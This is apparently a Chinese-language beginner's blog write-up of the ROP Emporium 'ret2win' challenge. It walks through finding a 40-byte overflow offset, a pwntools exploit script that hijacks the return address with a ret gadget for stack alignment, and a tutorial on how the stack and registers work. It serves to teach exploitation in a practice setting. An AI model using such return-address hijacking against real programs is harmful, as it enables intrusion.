4198 字
21 min
ret2win
2026-05-11

关于此专栏#

相信对各位佬来说,这无疑是非常简单的基础rop链构造挑战——无 PIE、无 Canary,目标函数和字符串都已经放在程序里,利用路径非常直观。不过作为本人入坑pwn的第一个rop链专题训练,我在这个专栏里更多地会去讲我作为新手在做这个专题过程中关于底层产生的一些疑惑以及自己的一些见解,当然也有踩过的坑。虽然很多从现在看起来很难绷,但我还是会尽量的去还原当时做题的一个状态和情况,后续如果回头有了新的见解,也有可能会进行修改,也欢迎大家一起交换见解、讨论哦

由于这是本系列第一篇,我会额外展开一些后续文章会反复用到的基础概念,例如 RBP/RSP/RIP、函数调用与返回、栈增长方向、返回地址覆盖和栈对齐等。后续文章中这些内容不会重复展开,只会在需要时简要引用

每个人都会经历新手的过程,虽然更多地指向了技术沉淀,但如果我的blog对你有所帮助,这是在下的荣幸~

话不多说,进入第一题#

确定offset#

这道题我们用到的工具为pwntoolsropperGNU Debuggerradare2

题目很贴心地提示了我们offset是40字节(x86_64),后面很多题的offset也都是40字节,所以我会省略计算offset的步骤,不过还是提一嘴吧,命令如下

pwn cyclic -n 8 200

这个命令用来制造填充并造成缓冲区溢出的模式串,-n 8代表了生成的模式串每个连续的8字节的唯一性(适合64位题,刚好对应8字节地址),200则是长度,接下来

pwn cyclic -n 8 -l 0x某个值

这便是利用每8字节的唯一性来反查偏移量的指令了,我们只需在0x后加上我们要反查的那8字节模式串即可,输出即为偏移量

至于我们要反查的8字节是怎么得到的,则需要用到GNU Debugger的指令了

gdb ./文件名 启动gdb
r 运行

程序启动后,放入你用pwn cyclic生成的雷霆长度的模式串,此时,栈溢出,程序毫无疑问gg了。但gdb发力了,它为你展示的,是程序崩溃前的冻结影像!所以,经过前面的填充与覆盖,你需要找到的,便是rsp此时指向的地址(我们rop链真正开始的地方,也是我们应该覆盖到的地方)。

RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7fffffffd5f8 ◂— 0x6161616161616166 ('faaaaaaa')
RIP 0x400755 (pwnme+109) ◂— ret

显然其指向地址也已经被覆盖了,此时我们要做的便是将其复制,用我们的反查指令,查到偏移量。

pwn cyclic -n 8 -l 0x6161616161616166
40

意料之中的40呢,offset的确定就到此为止了,接下来,我们去一睹程序真容,构造payload,拿到flag!

查反汇编,确定目标函数,找到有用gadget#

反汇编指令也提一嘴吧~

虽然看反汇编直接用IDA也不错

不过我的习惯是

objdump -d -M intel ./文件名

映入你眼帘的就是各个函数的反汇编了

————你看到那个显眼包了吗?名为ret2win的函数,其内部还有不少可以的函数调用行为诸如call 400550 puts@plt、call 400560 system@plt,用radare2一看

r2 -A ./ret2win
pdf @ sym.ret2win

果然,system函数准备好了,甚至是我们要的字符串参数"/bin/cat flag.txt"都准备好了。

27: sym.ret2win ();
│ 0x00400756 55 push rbp
│ 0x00400757 4889e5 mov rbp, rsp
│ 0x0040075a bf26094000 mov edi, str.Well_done__Heres_your_flag: ; 0x400926 ; "Well done! Here's your flag:" ; const char *s
│ 0x0040075f e8ecfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400764 bf43094000 mov edi, str._bin_cat_flag.txt ; 0x400943 ; "/bin/cat flag.txt" ; const char *string
│ 0x00400769 e8f2fdffff call sym.imp.system ; int system(const char *string)
│ 0x0040076e 90 nop
│ 0x0040076f 5d pop rbp
└ 0x00400770 c3 ret

那还说啥,也就是说只要我们能跳到这个函数,flag就自动出来了

构造脚本payload#

反汇编的函数名前面能很轻易地看到函数地址,于是我们的初始脚本的payload就长这样

from pwn import *
# 1. 锁定目标
p = process('./ret2win')
# 2. 不管它输出什么中文,直接接收并丢弃,直到程序停下来等待我们输入
p.recv()
# 3. 构造 40 字节填海造陆 + 劫持最高指挥官
# 40字节填海 + ret垫脚石(对齐栈) + ret2win()函数地址
payload = b'A' * 40 + p64(0x0000000000400756)
#从左到右依次是pop rdi;ret、/bin/cat flag.txt、ret、system@plt;
# 4. 发射火力!
p.sendline(payload)
# 5. 战术接管!这一步会把靶机连同崩溃现场,直接扔回给你眼前的终端!
p.interactive()

吗?

先温馨提示一下,在 Python 里,b'' 表示 bytes 字节串;普通的 'xxx'"xxx" 都是字符串写法,不像 C 语言那样单引号表示 char、双引号表示字符串。,而p64()是pwntools带的函数,很方便,会为你自动处理小端序,并且高位补零,直接把地址原封不动塞进去就好,只是别忘了最前面的0x

话说回来,运行脚本后你会发现,成功提示出来了,但却迟迟见不到flag,这就引到了栈对齐规则,这个后面讲,简单来说,栈上需要16字节对齐才能保持一个相对稳定的进程状态,而函数正常调用一般会在调用时有个call指令用于保存外层函数返回地址到栈上,让rsp指向地址减8字节,再才是push rbp,又减8字节,总共减了16字节——对齐了。但我们跳过了这个指令,仅仅是push rbp,也就只减8字节,哦豁,没对齐,那么到了system()这样的关键函数的调用时,保护机制发力了,这不是 Canary 那种主动保护,而是由于 64 位调用约定和库函数内部某些指令对栈对齐有要求,栈状态不对时就可能崩溃

于是乎,聪明的你便想到了在这之前再用一个ret指令消耗8字节来达到对齐的目的,ropper便派上用场了

ropper --file ./文件名 --search "ret(指令名)"

咔哒,ret指令地址映入眼帘

0x0000000000400542: ret 0x200a;
0x000000000040053e: ret;

用第二个顺眼,payload便变成了

payload = b'A' * 40 + p64(0x000000000040053e) + p64(0x0000000000400756)

至于为什么ret放在前面,我们前面也说了,system这样的高级函数调用需要一个稳定的栈状态,其调用就在ret2win函数内,所以我们要保证在来到ret2win函数之前,就把栈对齐。ok,我们再跑一下脚本逝逝

python3 ret2win.py
[+] Starting local process './ret2win': pid 6589
[*] Switching to interactive mode
Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

当当当当,flag出来了捏

此时冒出来的美元符再随便敲一下就没了,这是你的脚本在完成发送payload并接收完后续输出(直到读到EOF,也就意味着程序已经或者即将结束)后,把与程序交互(在终端对其输入,接收其输出)的权限给了你——仅仅是给了你,并不代表后续交互有效,毕竟经过栈溢出的捣乱后,程序难免会噶(不过这道题还是正常结束了hhh,详见下),这也是为什么后续会返回:

[*] Process './ret2win' stopped with exit code 0 (pid 6589) #程序进程结束,'0'代表正常退出
[*] Got EOF while sending in interactive #输入失败,这一般意味着输入通道关闭

无所谓了,反正flag拿到了就彳亍,我们更多时候不是要保证程序从头到尾都正常,而是在达到我们的目的前,要尽可能保证进程稳定(如栈对齐),坚持到我们拿到flag或者shell之类的,过后它想咋咋

当时从这道题引出的一些底层思考#

rbp rsp rip的理解和关系#

首先是概念#

  • rbp叫基址指针寄存器,栈底基准,用来定位函数局部变量、栈帧

  • rsp叫栈指针寄存器,永远指向栈顶

  • rip叫指令指针寄存器,存下一条要执行指令的地址,程序跟着rip走

    • 简单来说,rbp像一个当前栈帧的基准,要想在当前栈帧使用某个变量,以及为变量开辟独属于它的空间时,都是以rbp为基础来偏移的,比如
    [rbp-0x8]:某个局部变量
    [rbp-0x20]:32字节大小的字符数组 buffer 的开头

    至于为什么是减,又为什么buffer开头是减完后的末尾,后面再说

    • rsp其实就是栈顶指针,它永远指向当前栈帧的栈顶,而不会管当前栈顶合法性,,这个十分重要,通过有效的gadget,成功的rop链来劫持程序流成功就基于了这种特性
    • rip指向的是cpu将要执行的下一条指令的地址,我们为了让程序流跳转到目标函数,以及让cpu执行我们想让它执行的指令,就是想办法让rip指向目标函数地址或者指令地址

    再回到它们的关系#

    我们知道,在一个程序执行前,它的代码就已经被编译为了冷冰冰的机器码指令,然后去一条条乖乖执行,当一个函数被调用,也就是在主函数或者某个函数内部执行过程中执行到了指令 call xxx(意思是调用xxx函数,反汇编我们会经常和这些见面的),此时,我们即将进入一个新的函数了对吧?也就是说,我们即将在外层某个函数(可能是主函数,也可能是别的函数)执行到调用这个函数的地方建立一个新的栈帧,为了在执行完这个调用的函数后还能够优雅地回到外面那个函数本该执行的地方继续执行,此时,会将外部函数在调用完后本该执行的指令的地址作为一个返回地址,压到栈里面。进入函数后呢,一般都是两条指令

    push rbp #把当前rbp存的地址(也就是外层函数的基准)也压到栈里面,也就是刚刚压入的返回地址之后
    mov rbp, rsp #把当前rsp指向的地址(存外层函数rbp的地方的地址,刚被压进去,当然在栈顶)作为新栈帧的rbp,注意,是地址,不是地址里面存的外函数rbp地址!!!

    新的栈帧总需要一个新的基准吧,通过这样,它便得到了一个新的基准——此时rsp指向新rbp地址

    至于为什么这样,那是因为函数调用结束后会打扫战场,其指令一般为:

    leave #函数用完了准备收工了,把rsp一下指到到调用函数的rbp(没忘记里面存的外部函数的rbp吧?),并把它存的地址弹入rbp寄存器,于是乎基准又以外部函数的rbp为准了,rsp自动移到新的栈顶(返回地址)
    ret #将当前栈顶存的地址弹入rip,于是cpu要执行的下一条指令便是外部函数调用完函数后本该继续执行的指令的地址,就这样继续接着执行了

    我们把开头和结尾的指令放在一起会更好理解,你会看到,我们在函数调用时做了周密的返回准备工作,先把外部函数返回地址压栈,再把外部函数rbp压栈,把它存的地方的地址作为了新栈帧的rbp,而最后函数执行完,一个leave,rsp又指回了调用函数rbp,其内部就是外部函数的rbp,把它直接送到rbp寄存器,rsp自动上移,指向返回地址,一个ret又把它弹到rip里,丝滑双弹,完成了回到外部函数继续执行的地方的优雅流程

    果然还是注意到了吗?leave时rsp一下指到到调用函数的rbp的动作

    是的,调用完后打扫战场并不是先把栈帧打扫干净再销毁哦,而是直接暴力地把栈顶指针rsp一下指向了rbp!那么原本栈帧里面的内容就不用管了吗?对,栈顶瞬间上移后,原本调用函数的栈帧内的内容就在栈顶之外了,也就成了无效数据,后续如果有新的变量或者栈帧,栈顶还会继续下移,这个时候新的数据就会覆盖掉旧的数据。这么看来,是不是先打扫干净也没那么必要了呢?

    堆栈分布以及栈的数据、栈顶等的高低地址的理解#

    至于明明叫栈顶,为什么有新的变量或者栈帧,栈顶却下移,而销毁栈帧这种操作,栈帧又是上移?这里我把buffer那个问题一起放在这里讲一下:

    我们知道,一个程序分为堆和栈,栈用来存局部变量、返回地址、rbp等,自动管理,堆则是存动态分配的数据,需要手动管理,两者逻辑不同,虽然内存连续,但我们显然不能像管理栈一样去连续地把它俩的数据放在一起,两者很容易发生诸如互相覆盖修改,你我不分,这样就乱套了,甚至可能导致严重后果。那怎么办呢?聪明的前辈想到了一个妙招:把程序的虚拟内存想象为一个上下延伸的巨长的连续空间,栈放在地址极高的地方,堆放在地址极低的地方,两者要想扩张只会各自朝中间那片巨大的内存延伸。于是乎,两者各自为安,互不干扰——很妙吧?这便是为什么栈的栈顶在有新的变量或者栈帧建立时,栈顶反而往低地址挪,而销毁时,栈顶往高地址挪。

    再看buffer——当在栈帧上通过栈顶rsp下移的方式为这个变量开辟空间后,再为其内部写入数据时,便是从栈顶开始,也就是从下往上写!这也是为什么我们能够通过栈溢出的方式篡改返回地址等关键内容来实现程序流劫持,因为返回地址之前就压栈了,天然在高地址处,写超了buffer的数据,会接着向上蔓延,直到把我们的目标地址修改在返回地址处!

    栈对齐以及栈稳定性#

    有些函数,尤其在 64 位程序里,进入某些库函数前,栈顶位置最好满足特定的 16 字节对齐要求。

    如果不对齐,可能会:

    • 崩溃
    • 跑不稳
    • 某些指令出问题

    而一个额外的 ret 会做什么?

    它会:

    RSP = RSP + 8

    也就是额外再吃掉 8 个字节

    所以这个单独的 ret,相当于:

    把栈顶再往前挪 8 字节,用来调整进入目标函数时的栈位置。

    这就是“ret 垫脚石”的物理作用

    所以,就如我之前所说,我们不是要程序全程不崩,而是在我们达成目的之前,要尽可能让程序的栈处于一个相对稳定的状态,这也是16字节对齐的重要性。

    还有一个情况就是在覆盖返回地址过程中也会覆盖外层函数rbp地址,这是否重要是需要分情况的:

    • 如果后续程序流需要回到外层函数继续执行,那么这个rbp就是有讲究的,不能乱覆盖,不然回来的时候门都找不着
    • 如果程序流到这个函数就能达到我们的目的了,程序是否能回到外层函数也就没那么重要了,此时——程序虽然把错误的rbp压到了栈上,但此时作为我们调用函数的rbp的,是存旧rbp的栈上合法地址,自然能维持一个相对稳定的栈状态。等拿到flag了,你再崩于我也就无所谓了。

    关于栈对齐栈稳定,我们在后续做题也一定要注意

ret2win
https://fuwari.oh1.top/posts/pwn/rop-emporiumret2win/
作者
leeshang
发布于
2026-05-11
License
CC BY-NC-SA 4.0